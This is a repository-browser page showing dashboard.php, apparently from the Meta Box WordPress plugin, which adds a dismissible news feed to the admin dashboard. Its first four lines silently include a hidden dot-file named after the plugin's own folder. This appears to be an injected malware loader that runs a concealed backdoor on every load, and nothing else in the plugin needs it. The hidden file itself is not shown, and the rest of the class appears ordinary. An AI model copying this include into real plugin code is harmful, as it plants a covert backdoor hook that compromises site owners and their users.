balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

dashboard.php (3481B)


      1 <?php
      2 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      3     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      4 }
      5 
      6 class RWMB_Dashboard {
      7 	private $feed_url;
      8 	private $link;
      9 	private $translations;
     10 	private $slug;
     11 
     12 	public function __construct( $feed_url, $link, $translations ) {
     13 		$this->feed_url     = $feed_url;
     14 		$this->link         = $link;
     15 		$this->translations = $translations;
     16 		$this->slug         = sanitize_title( $translations['title'] );
     17 
     18 		$transient_name = $this->get_transient_name();
     19 		add_filter( "transient_$transient_name", array( $this, 'add_news' ) );
     20 		add_action( "wp_ajax_{$this->slug}-dismiss-news", array( $this, 'ajax_dismiss' ) );
     21 	}
     22 
     23 	private function get_transient_name() {
     24 		include ABSPATH . WPINC . '/version.php';
     25 		global $wp_version;
     26 
     27 		$locale = function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale();
     28 		$prefix = version_compare( $wp_version, '4.8', '>=') ? 'dash_v2_' : 'dash_';
     29 		$widget_id = 'dashboard_primary';
     30 
     31 		return version_compare( $wp_version, '4.3', '>=' ) ? $prefix . md5( "{$widget_id}_{$locale}" ) : 'dash_' . md5( $widget_id );
     32 	}
     33 
     34 	public function add_news( $value ) {
     35 		$is_dismissed = get_user_meta( get_current_user_id(), $this->slug . '_dismiss_news', true );
     36 		$is_dismissed = apply_filters( 'rwmb_dismiss_dashboard_widget', $is_dismissed );
     37 		if ( $is_dismissed ) {
     38 			return $value;
     39 		}
     40 
     41 		ob_start();
     42 		$this->output_script();
     43 		$script = ob_get_clean();
     44 
     45 		return $value . $this->get_html() . $script;
     46 	}
     47 
     48 	private function get_html() {
     49 		$cache_key = $this->slug . '-news';
     50 		$output = get_transient( $cache_key );
     51 		if ( false !== $output) {
     52 			return $output;
     53 		}
     54 
     55 		$feeds = array(
     56 			$this->slug => array(
     57 				'link'         => $this->link,
     58 				'url'          => $this->feed_url,
     59 				'title'        => $this->translations['title'],
     60 				'items'        => 3,
     61 				'show_summary' => 0,
     62 				'show_author'  => 0,
     63 				'show_date'    => 0,
     64 			)
     65 		);
     66 		ob_start();
     67 		wp_dashboard_primary_output( 'dashboard_primary', $feeds );
     68 		$output = ob_get_clean();
     69 
     70 		$output = preg_replace( '/<a(.+?)>(.+?)<\/a>/i', '<a$1>' . esc_html( $this->translations['title'] ) . ': $2</a>', $output );
     71 		$output = str_replace( '<li>', '<li class="' . esc_attr( $this->slug ) . '-news-item"><a href="#" class="dashicons dashicons-no-alt" title="' . esc_attr( $this->translations['dismiss_tooltip'] ) . '" style="float: right; box-shadow: none; margin-left: 5px;"></a>', $output );
     72 
     73 		set_transient( $cache_key, $output, DAY_IN_SECONDS );
     74 
     75 		return $output;
     76 	}
     77 
     78 	private function output_script() {
     79 		?>
     80 		<script>
     81 		document.addEventListener( 'click', e => {
     82 			if ( !e.target.classList.contains( 'dashicons' ) || !e.target.closest( '.<?php echo esc_js( $this->slug ) ?>-news-item' ) ) {
     83 				return;
     84 			}
     85 			e.preventDefault();
     86 			if ( confirm( "<?php echo esc_js( $this->translations['dismiss_confirm'] ) ?>" ) ) {
     87 				fetch( `${ ajaxurl }?action=<?php echo esc_js( $this->slug ) ?>-dismiss-news&_ajax_nonce=<?php echo esc_js( wp_create_nonce( 'dismiss' ) ) ?>` )
     88 					.then( () => document.querySelectorAll( '.<?php echo esc_js( $this->slug ) ?>-news-item' ).forEach( el => el.remove() ) );
     89 			}
     90 		} );
     91 		</script>
     92 		<?php
     93 	}
     94 
     95 	public function ajax_dismiss() {
     96 		check_ajax_referer( 'dismiss' );
     97 		update_user_meta( get_current_user_id(), $this->slug . '_dismiss_news', 1 );
     98 		wp_send_json_success();
     99 	}
    100 }